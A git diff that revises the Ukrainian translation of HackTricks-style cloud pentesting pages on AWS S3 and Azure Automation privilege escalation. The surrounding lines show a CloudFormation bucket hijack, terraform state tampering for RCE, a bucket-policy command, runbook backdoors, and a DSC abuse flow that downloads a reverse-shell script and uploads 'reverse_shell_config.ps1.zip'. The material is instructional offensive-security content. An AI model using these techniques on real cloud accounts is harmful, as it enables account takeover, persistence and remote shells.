Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-05-09 12:44:01 +00:00
parent 770912d626
commit 09331c42c9
2 changed files with 9 additions and 10 deletions

View File

@@ -8,7 +8,7 @@
Зловмисник з такими дозволами на цікавих бакетах може бути в змозі захопити ресурси та підвищити привілеї.
Наприклад, зловмисник з цими **дозволами на бакет cloudformation** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортання. Доступ може бути наданий за допомогою наступної політики:
Наприклад, зловмисник з цими **дозволами на бакет cloudformation** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортання. Доступ можна надати за допомогою наступної політики:
```json
{
"Version": "2012-10-17",
@@ -34,7 +34,7 @@
]
}
```
І захоплення можливе, оскільки існує **невеликий часовий проміжок від моменту завантаження шаблону** до кошика до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з кошика**, і **захопить** **вміст** цього **кошика**.
І викрадення можливе, оскільки існує **невеликий часовий проміжок від моменту завантаження шаблону** до кошика до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з кошика**, і **викраде** **вміст** цього **кошика**.
![](<../../../images/image (174).png>)
@@ -45,15 +45,14 @@
Це дозволи на **отримання та завантаження об'єктів до S3**. Кілька сервісів всередині AWS (і за його межами) використовують S3 для зберігання **конфігураційних файлів**.\
Зловмисник з **доступом на читання** до них може знайти **чутливу інформацію** в них.\
Зловмисник з **доступом на запис** до них може **модифікувати дані, щоб зловживати якимось сервісом і спробувати підвищити привілеї**.\
Зловмисник з **доступом на запис** до них може **модифікувати дані, щоб зловживати якимось сервісом і намагатися підвищити привілеї**.\
Ось кілька прикладів:
- Якщо EC2 екземпляр зберігає **дані користувача в S3 кошику**, зловмисник може змінити їх, щоб **виконати довільний код всередині EC2 екземпляра**.
### `s3:PutObject`, `s3:GetObject` (додатково) над файлом стану terraform
Досить поширено, що файли стану [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) зберігаються в блоб-накопичувачах хмарних провайдерів, наприклад, AWS S3. Суфікс файлу для файлу стану - `.tfstate`, а назви кошиків часто також вказують на те, що вони містять файли стану terraform. Зазвичай, кожен обліковий запис AWS має один такий кошик для зберігання файлів стану, які показують стан облікового запису.
Також зазвичай, у реальних облікових записах майже завжди всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`.
Дуже поширено, що файли стану [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) зберігаються в блоб-накопичувачах хмарних провайдерів, наприклад, AWS S3. Суфікс файлу для файлу стану - `.tfstate`, а назви кошиків часто також вказують на те, що вони містять файли стану terraform. Зазвичай, кожен обліковий запис AWS має один такий кошик для зберігання файлів стану, які показують стан облікового запису. Також зазвичай, у реальних облікових записах майже завжди всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`.
Отже, якщо у вас є дозволи, зазначені для цих файлів, існує вектор атаки, який дозволяє вам отримати RCE в конвеєрі з привілеями `terraform` - найчастіше `AdministratorAccess`, що робить вас адміністратором хмарного облікового запису. Також ви можете використовувати цей вектор для здійснення атаки відмови в обслуговуванні, змушуючи `terraform` видаляти легітимні ресурси.
@@ -65,7 +64,7 @@
### `s3:PutBucketPolicy`
Зловмисник, який повинен бути **з того ж облікового запису**, якщо ні, то спрацює помилка `The specified method is not allowed`, з цим дозволом зможе надати собі більше дозволів на кошик(и), що дозволить йому читати, писати, модифікувати, видаляти та відкривати кошики.
Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `The specified method is not allowed`, з цим дозволом зможе надати собі більше дозволів на кошик(и), що дозволить йому читати, писати, модифікувати, видаляти та відкривати кошики.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

View File

@@ -91,7 +91,7 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
З дозволом **`Microsoft.Automation/automationAccounts/schedules/write`** можливо створити новий графік в обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди.
З дозволом **`Microsoft.Automation/automationAccounts/schedules/write`** можливо створити новий графік у обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди.
Зверніть увагу, що **мінімальний інтервал для графіка становить 15 хвилин**, а **мінімальний час початку - 5 хвилин** у майбутньому.
```bash
@@ -175,7 +175,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Ця дозволяє користувачу **налаштувати контроль версій** для Облікового запису автоматизації, використовуючи команди, такі як наступні (це використовує Github як приклад):
Ця дозволяє користувачу **налаштувати контроль версій** для облікового запису автоматизації, використовуючи команди, такі як наступні (це використовує Github як приклад):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -215,7 +215,7 @@ az rest --method PUT \
```
### Custom Runtime Environments
Якщо обліковий запис автоматизації використовує власне середовище виконання, може бути можливим перезаписати власний пакет середовища з деяким шкідливим кодом (наприклад, **задня дверка**). Таким чином, щоразу, коли виконується runbook, що використовує це власне середовище, і завантажується власний пакет, буде виконано шкідливий код.
Якщо обліковий запис автоматизації використовує власне середовище виконання, може бути можливим перезаписати власний пакет середовища виконання деяким шкідливим кодом (наприклад, **задніми дверима**). Таким чином, щоразу, коли виконується runbook, що використовує це власне середовище виконання і завантажує власний пакет, буде виконано шкідливий код.
### Compromising State Configuration
@@ -247,7 +247,7 @@ Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Скрипт редагується для вказівки цільової Windows VM та порту для зворотного шелу.
Скрипт редагується для вказання цільової Windows VM та порту для зворотного шелу.
- Крок 5 — Опублікувати файл конфігурації